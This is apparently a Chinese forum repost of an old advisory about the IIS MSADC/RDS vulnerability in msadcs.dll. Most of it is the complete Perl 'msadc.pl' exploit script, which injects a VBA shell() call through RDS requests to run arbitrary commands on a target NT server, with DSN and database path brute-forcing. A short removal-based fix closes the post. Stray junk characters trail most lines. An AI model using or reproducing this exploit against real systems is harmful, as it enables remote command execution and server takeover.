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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) F N;X"it.  
tn+i5Eso  
涉及程序: Duj9PV`2  
Microsoft NT server K=M5d^K<E  
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描述: .<^dv?@  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 l~AmHw e  
FgrOZI;_  
详细: 7&/iuP$.  
如果你没有时间读详细内容的话,就删除: 9yajtR  
c:\Program Files\Common Files\System\Msadc\msadcs.dll DoX#+ 07u4  
有关的安全问题就没有了。 =et=X_3-  
+*a:\b" fx  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z(i B$;M  
X8<<;?L  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 b)(#/}jMkD  
关于利用ODBC远程漏洞的描述,请参看: @G^]kDFM{  
;S"^O AM  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \A*#a9"  
c_x6FoE;L  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 POfvs]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;gTdiwfgZ=  
<tMiI)0%  
这里不再论述。 #q9jFW8  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: K SDo)7`  
bk}.^m!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset iE':ur<`  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! #,Fk  
f}Eoc>n  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" P-ys$=  
|s+[489g'6  
#!perl 8k2prv^  
# 0SwWLq  
# MSADC/RDS 'usage' (aka exploit) script FcdbL,}=<  
# yDWzsA/X  
# by rain.forest.puppy } =?kf3k  
# qm4 Ejc<  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ;yqJEj_m(  
# beta test and find errors! Z 3m5DK  
L10Vq}W"  
use Socket; use Getopt::Std; *e H[~4  
getopts("e:vd:h:XR", \%args); -i:Zi}f  
ha1 J^e  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; R}8!~Ma`|  
`LVItP(GUM  
if (!defined $args{h} && !defined $args{R}) { &Zs h-|N  
print qq~ &7,Kv0j}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } CSRcTxH  
-h <host> = host you want to scan (ip or domain) CA7tI >y_  
-d <seconds> = delay between calls, default 1 second MM3X! tq  
-X = dump Index Server path table, if available uwsGtgd&  
-v = verbose E[/<AY^@!z  
-e = external dictionary file for step 5 UaiDo"i  
qtnLQl"M  
Or a -R will resume a command session |+mhYq|`  
vo-n9Bj  
~; exit;} {UQpD   
6P;IKOv^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; e57}.pF^  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} IfF<8~~E  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 3:&!Q*i;  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); yP :>vFd7  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ~!E% GCyFy  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6c^2Nl8e  
4pJOJ!?  
if (!defined $args{R}){ $ret = &has_msadc; &q#$SU,$(  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} lfOF]Kiqr  
5]:fkx  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" D06'"  
. "cmd /c "; wz+  
$in=<STDIN>; chomp $in; ((7~o?Vbg  
$command="cmd /c " . $in ; AmM^&  
_&D I_'5q+  
if (defined $args{R}) {&load; exit;} ^SpD)O{  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; br .jj  
&try_btcustmr; { .B^  
f$Q#xlQM  
print "\nStep 2: Trying to make our own DSN..."; /d%&s^M:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; u3R0_8 _.w  
"pa5+N&2-  
print "\nStep 3: Trying known DSNs..."; Vz1ro  
&known_dsn; lj/ ?P9  
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print "\nStep 4: Trying known .mdbs..."; #[ vmS  
&known_mdb; r50}j  
HTao)`.  
if (defined $args{e}){ @ eqVu g  
print "\nStep 5: Trying dictionary of DSN names..."; Qf6]qJa|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } L)H7~.Dj  
x|<rt96 6A  
print "Sorry Charley...maybe next time?\n"; /(8Usu?g.  
exit; ;+>-uPT/1  
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############################################################################## BEPeK  
,@tY D(Z  
sub sendraw { # ripped and modded from whisker \m1r(*Ar  
sleep($delay); # it's a DoS on the server! At least on mine... lsCD%P  
my ($pstr)=@_; 3Ew-Ia%A  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *>n<7T0  
die("Socket problems\n"); ~P 1(%FZ  
if(connect(S,pack "SnA4x8",2,80,$target)){ g05:A0X#  
select(S); $|=1; ;JDn1(6  
print $pstr; my @in=<S>; \9geDX9A  
select(STDOUT); close(S); / *Z( ;-  
return @in; T3u%V_  
} else { die("Can't connect...\n"); }} }\|$8~  
Lfx&DK !  
############################################################################## (5]<t&M  
F8$.K*tT  
sub make_header { # make the HTTP request B_i@D?bTD  
my $msadc=<<EOT |lm   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1  ]hpocr  
User-Agent: ACTIVEDATA 3kx/Q#  
Host: $ip ),v[.9!}:  
Content-Length: $clen /Z';# G,z  
Connection: Keep-Alive dy-m9fc6%  
j#$ R.  
ADCClientVersion:01.06 5&D)W>{d  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 q+.DZ @  
%*>=L$A  
--!ADM!ROX!YOUR!WORLD! !e*Q2H+  
Content-Type: application/x-varg wo5"f}vd#  
Content-Length: $reqlen v~[=|_{  
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EOT dqwAQ-x  
; $msadc=~s/\n/\r\n/g; Z)<ljW  
return $msadc;} S75wtz)e  
hn{]Q@(I  
############################################################################## ^s\(2lB\F  
aFjcyD  
sub make_req { # make the RDS request Ki(qA(r  
my ($switch, $p1, $p2)=@_; @(Wx(3JR?}  
my $req=""; my $t1, $t2, $query, $dsn; @G+Hrd6  
r" d/ 9  
if ($switch==1){ # this is the btcustmr.mdb query [wWip1OR  
$query="Select * from Customers where City=" . make_shell(); coT|t T  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . TUHC[#Vb?  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} /5 B{szf  
2>p K  
elsif ($switch==2){ # this is general make table query 58\Rl  
$query="create table AZZ (B int, C varchar(10))"; bq/ m?;  
$dsn="$p1";} PVH^yWi n  
S;sggeP7,  
elsif ($switch==3){ # this is general exploit table query :CH "cbo  
$query="select * from AZZ where C=" . make_shell(); yoGe^gar  
$dsn="$p1";} ~UA-GWb  
X1?7}VO  
elsif ($switch==4){ # attempt to hork file info from index server =kH7   
$query="select path from scope()"; 3 GmU$w  
$dsn="Provider=MSIDXS;";} [g`9C!P-G  
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elsif ($switch==5){ # bad query JV(qTb W  
$query="select"; FivgOa  
$dsn="$p1";} 6d&dB  
3`uv/O2~i  
$t1= make_unicode($query); )8VrGg?  
$t2= make_unicode($dsn); U??P  
$req = "\x02\x00\x03\x00"; U\a.'K50F  
$req.= "\x08\x00" . pack ("S1", length($t1)); CG*eo!Nw  
$req.= "\x00\x00" . $t1 ; 3B!lE(r%J  
$req.= "\x08\x00" . pack ("S1", length($t2)); Cx2s5vJX4p  
$req.= "\x00\x00" . $t2 ; {G&*\5W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $"1Unu&P  
return $req;} ~Mbo`:>(4v  
=)5O(h  
############################################################################## 1wP#?p)c  
h}r*   
sub make_shell { # this makes the shell() statement r CU f,)  
return "'|shell(\"$command\")|'";} Z 6KM%R  
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############################################################################## @[h)M3DFd  
^ cpQ*Fz  
sub make_unicode { # quick little function to convert to unicode s kC*  
my ($in)=@_; my $out; 4scY 8(1  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } MkgeECMf  
return $out;} mz$)80ly  
Zz}Wg@&  
##############################################################################  >Eg/ir0  
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sub rdo_success { # checks for RDO return success (this is kludge) oE \Cwd  
my (@in) = @_; my $base=content_start(@in); nJ'FH['  
if($in[$base]=~/multipart\/mixed/){ 2k;>nlVxX  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $*w]]b$Dn  
return 0;} s ;EwAd(  
.l5y+a'  
############################################################################## 0t[|3A~Q  
2z+Vt_%  
sub make_dsn { # this makes a DSN for us p vone,y2  
my @drives=("c","d","e","f"); kx&Xk0F_g  
print "\nMaking DSN: "; IaMZPl  
foreach $drive (@drives) { %EkV-%o*  
print "$drive: "; pxP,cS  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Z-X(. Q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" bC*( ,n<'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 6-#<*Pg  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ziZLw$ )  
return 0 if $2 eq "404"; # not found/doesn't exist *W,tq(%tQ  
if($2 eq "200") { J&Ig%&/  
foreach $line (@results) { g$ bbm}6S  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} L c4\i  
} return 0;} ?# ~3%$>  
j_H"m R  
############################################################################## g(Q)fw  
9RA~#S|(T  
sub verify_exists { ~,[-pZ <  
my ($page)=@_; Y3@\uM`2#  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Xi"+{6  
return $results[0];} 0'8_:|5  
y"zgpqJ  
############################################################################## u~SvR~OE  
Hl-!rP.?0  
sub try_btcustmr { &Ui*w%  
my @drives=("c","d","e","f"); IxN0m7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7|Z=#3INw  
_+Tq&,_:o  
foreach $dir (@dirs) { RW| LL@r  
print "$dir -> "; # fun status so you can see progress mHCp^g4Q  
foreach $drive (@drives) { (Z(O7X(/  
print "$drive: "; # ditto 8T"C]  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~nYp*t C'  
$reqlenlen=length( "$reqlen" ); BkywYCWZ )  
$clen= 206 + $reqlenlen + $reqlen; Y'K+O  
t8SvU  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]^aOYtKX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} r\nKJdh;ka  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} }nh!dVA8lh  
rXl ~D!  
############################################################################## F<FNZQ@<U  
-Pds7}F8  
sub odbc_error { .U}"ONd9e  
my (@in)=@_; my $base; +9mE1$C  
my $base = content_start(@in); jw63sn  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ;k1 \-  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {2jetX`@h  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {Yq"%n'0  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EJC{!06L'/  
return $in[$base+4].$in[$base+5].$in[$base+6];} c%|K x  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Jv_KZDOdk  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2XoFmV),F  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} E|R^tETb  
Dxp8^VL  
############################################################################## f};lH[B3y  
> mI1wV[  
sub verbose { P`z#tDT^"  
my ($in)=@_; v9?hcJ=  
return if !$verbose; `N<6)MX3>g  
print STDOUT "\n$in\n";} J-iFA KN  
]x)^/ d  
############################################################################## %DyukUJ  
>fZ N?>`  
sub save { JH3$G,:zM  
my ($p1, $p2, $p3, $p4)=@_; |5J'`1W  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Vyy;mEBg  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; KmF" Ccc  
close OUT;} k55s-%Ayr  
OYnxEdo7  
############################################################################## VN3"$@-POK  
cD^`dn%$  
sub load { yg}zK>j^vC  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; pF0sXvWGG  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); jhRg47A  
@p=<IN>; close(IN); R#"LP7\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); <4lR  
$target= inet_aton($ip) || die("inet_aton problems"); B=<>OYH  
print "Resuming to $ip ..."; 9, A(|g  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; =*paa  
if($p[1]==1) { WY>r9+A?W  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; q,Oj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 7TDt2:;]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); R'Gka1v  
if (rdo_success(@results)){print "Success!\n";} ,<Ag&*YE4  
else { print "failed\n"; verbose(odbc_error(@results));}} F7fpsAt7  
elsif ($p[1]==3){ %E<.\\^%  
if(run_query("$p[3]")){ U%.%:'eV=  
print "Success!\n";} else { print "failed\n"; }} g+( Cs  
elsif ($p[1]==4){ [p&n]T  
if(run_query($drvst . "$p[3]")){ rE->z  
print "Success!\n"; } else { print "failed\n"; }} @*Y"[\"$  
exit;} 7(8i~}  
31VDlcn E  
############################################################################## c> SFt tbU  
+qPpPjG;  
sub create_table { uUhqj.::<Y  
my ($in)=@_; c:*[HO\  
$reqlen=length( make_req(2,$in,"") ) - 28; [ADSGnw  
$reqlenlen=length( "$reqlen" ); 9_=0:GH k  
$clen= 206 + $reqlenlen + $reqlen; k4n 4 BL  
my @results=sendraw(make_header() . make_req(2,$in,"")); CBkI! In2  
return 1 if rdo_success(@results); cj[a^ ZH  
my $temp= odbc_error(@results); verbose($temp); EN,PI~~F  
return 1 if $temp=~/Table 'AZZ' already exists/; c >O>|*I  
return 0;} B|\JGnNQ  
F.rNh`44  
############################################################################## i`nmA-Zj[  
a*hWODYn  
sub known_dsn { yr;~M{{4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Q>ZxJ!B<k  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", VtTTvP3  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w}20l F  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); h+\+9^l6|  
3p+V~n.+  
foreach $dSn (@dsns) { TTDcVG_}  
print "."; s'7PHP)LOJ  
next if (!is_access("DSN=$dSn")); xM+_rU M|h  
if(create_table("DSN=$dSn")){ $a@T:zfe  
print "$dSn successful\n"; &b__ /o  
if(run_query("DSN=$dSn")){ nE&`~  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { i]cD{hv  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 4Eri]O Ri  
^ gMkQYo(#  
############################################################################## WX-J4ieL  
qsT@aSIo9  
sub is_access { /VmtQ{KTt+  
my ($in)=@_; ~cf*Oq  
$reqlen=length( make_req(5,$in,"") ) - 28; ^cz4nW<  
$reqlenlen=length( "$reqlen" ); A,'F`au  
$clen= 206 + $reqlenlen + $reqlen; i?3~Gog  
my @results=sendraw(make_header() . make_req(5,$in,"")); "  jBc5*  
my $temp= odbc_error(@results); u?Uu>9@Z  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Tqf:G4!  
return 0;} +GYO<N7  
,J$XVvwxF  
############################################################################## = :/4)  
`iQ])C^d  
sub run_query { > eC>sTPQ{  
my ($in)=@_; \PzJ66DL!  
$reqlen=length( make_req(3,$in,"") ) - 28; =,Zkg(M  
$reqlenlen=length( "$reqlen" ); hl/) 1sOIR  
$clen= 206 + $reqlenlen + $reqlen; FHK{cE  
my @results=sendraw(make_header() . make_req(3,$in,"")); X7~^D[ X  
return 1 if rdo_success(@results); hEh` cBO  
my $temp= odbc_error(@results); verbose($temp); %&5PZmnW  
return 0;} i^SPNs=  
K\trT!I  
############################################################################## w-j^jU><3  
L-9 AJk>V  
sub known_mdb { c%+_~iBUN  
my @drives=("c","d","e","f","g"); tH)fu%:p  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <G_71J`MLC  
my $dir, $drive, $mdb; zk;'`@7  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5Ic'6AIz  
sU$<v( `"  
# this is sparse, because I don't know of many #iiXJnG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", M*-]<!))7  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", L%`MoTpK q  
"\\system32\\certmdb.mdb", }> ]`#s  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0'g e}2^  
$~,J8?)(z  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 2CF5qn}T  
"\\cfusion\\cfapps\\forums\\forums_.mdb", FokSg[)5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", (&KBYiwr  
"\\cfusion\\cfapps\\security\\realm_.mdb", u9*7Buou^  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", dFl8'D  
"\\cfusion\\database\\cfexamples.mdb", uqsVq0H  
"\\cfusion\\database\\cfsnippets.mdb", P!yOA_)as  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", R*`=Bk0+  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", W9G1wU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", jX; $g>P  
"\\cfusion\\database\\smpolicy.mdb", 4c]=kbGW  
"\\cfusion\\database\cypress.mdb", 96d&vm~m1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 1wg#4h43l  
"\\website\\cgi-win\\dbsample.mdb", u- }@^Y$M  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", B fu/w   
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" q&kG>  
); #these are just eyzXHS*s;L  
foreach $drive (@drives) { W,5_i7vr  
foreach $dir (@dirs){  X@Bg_9\i  
foreach $mdb (@sysmdbs) { [OYSNAs *y  
print "."; +Ym#!"  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ E*vh<C  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; |%g)H,6c  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ]p@q.P  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )B9/P>c  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 5 D <  
MAc jWb~ f  
foreach $drive (@drives) { ELZ@0,  
foreach $mdb (@mdbs) { @x@wo9<Fc  
print "."; Y M,UM>  
if(create_table($drv . $drive . $dir . $mdb)){ bcYGkvGbO  
print "\n" . $drive . $dir . $mdb . " successful\n"; GD1L6kVd1  
if(run_query($drv . $drive . $dir . $mdb)){ 2[CHiB*>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; rM`z2*7%d  
} else { print "Something's borked. Use verbose next time\n"; }}}} H-qbgd6&>R  
} jfU$qo!gi  
717OzrF}A?  
############################################################################## }1mkX\wWP  
"uP~hFA7M  
sub hork_idx { JYR^k=  
print "\nAttempting to dump Index Server tables...\n"; lxfv'A  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 13p.dp`  
$reqlen=length( make_req(4,"","") ) - 28; cz1 m05E  
$reqlenlen=length( "$reqlen" ); P#9Pq,I  
$clen= 206 + $reqlenlen + $reqlen; ~^J9v+  
my @results=sendraw2(make_header() . make_req(4,"","")); m>^vr7  
if (rdo_success(@results)){ G2dPm}sZG  
my $max=@results; my $c; my %d; IqFmJs|C  
for($c=19; $c<$max; $c++){ i 2 ='>  
$results[$c]=~s/\x00//g; p+;;01Z+_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 5Y>fVq{U?;  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; b(~#CHg  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; u/apnAW@M  
$d{"$1$2"}="";} Zm vtUma  
foreach $c (keys %d){ print "$c\n"; } DFQ`<r&!  
} else {print "Index server doesn't seem to be installed.\n"; }} &-L9ws  
ao"Z%#Jb~  
############################################################################## pQoZDD@B$  
RREl($$p  
sub dsn_dict { zbJ}@V  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]Na;b  
while(<IN>){ Ch)E:Dvq6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; : cPV08i  
next if (!is_access("DSN=$dSn")); fS3%  
if(create_table("DSN=$dSn")){ XCT3:db  
print "$dSn successful\n"; %3yrX>Js  
if(run_query("DSN=$dSn")){ ~xJ ^YkyH  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { `o0ISJeKp  
print "Something's borked. Use verbose next time\n";}}} 3uL$+F  
print "\n"; close(IN);} 5& _R+g  
"iJAM`Hi  
############################################################################## 5O~;^0iC  
k)zBw(wr  
sub sendraw2 { # ripped and modded from whisker c~= {A  
sleep($delay); # it's a DoS on the server! At least on mine... D7Y?$=0ycb  
my ($pstr)=@_; 69 J4p=c,  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I:WPP'L4o  
die("Socket problems\n"); =N2@H5+7  
if(connect(S,pack "SnA4x8",2,80,$target)){ qE.3:bQ!`  
print "Connected. Getting data"; S`& yVzv  
open(OUT,">raw.out"); my @in; k>=wwPy  
select(S); $|=1; print $pstr; >:OP+Vc  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} AMN`bgxW  
close(OUT); select(STDOUT); close(S); return @in; ; hU9_e  
} else { die("Can't connect...\n"); }} 0zk054F'  
cqp^**s  
############################################################################## 9t7 e~&R  
?lm<)y?I7+  
sub content_start { # this will take in the server headers  CVZ 4:p  
my (@in)=@_; my $c; jX,A.  
for ($c=1;$c<500;$c++) { c^R "g)gr  
if($in[$c] =~/^\x0d\x0a/){ <9x|)2P  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } fVYv 2  
else { return $c+1; }}} O O-Obg^  
return -1;} # it should never get here actually ppu<k N  
[OFT!=.y &  
############################################################################## t&-c?&FO\;  
fO83 7  
sub funky { z=4E#y `?U  
my (@in)=@_; my $error=odbc_error(@in); \}Kad\)  
if($error=~/ADO could not find the specified provider/){ N@"e^i  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; r<;Y4<,BZ  
exit;} F#o{/u?T  
if($error=~/A Handler is required/){ 5a/3nsup5  
print "\nServer has custom handler filters (they most likely are patched)\n"; \5b<!Nl  
exit;} =nCV. Wf  
if($error=~/specified Handler has denied Access/){ mo]>Um'F  
print "\nServer has custom handler filters (they most likely are patched)\n"; wKJK!P  
exit;}} fN 1:'d  
9Dyw4'W.N  
##############################################################################  LNvkC4  
R(2MI}T  
sub has_msadc { n&8N`!^o  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); S;BMM8U  
my $base=content_start(@results); p+2uK|T9  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y'y$k  
return 0;} &# @"^(} 6  
,88%eX|  
######################## 8g/r8u~  
R!WeSgKCs  
cSj(u%9}  
解决方案: SNV;s,  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ">s0B5F7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 & aF'IJC  
94XRf"^  
拿出来充数 哈哈
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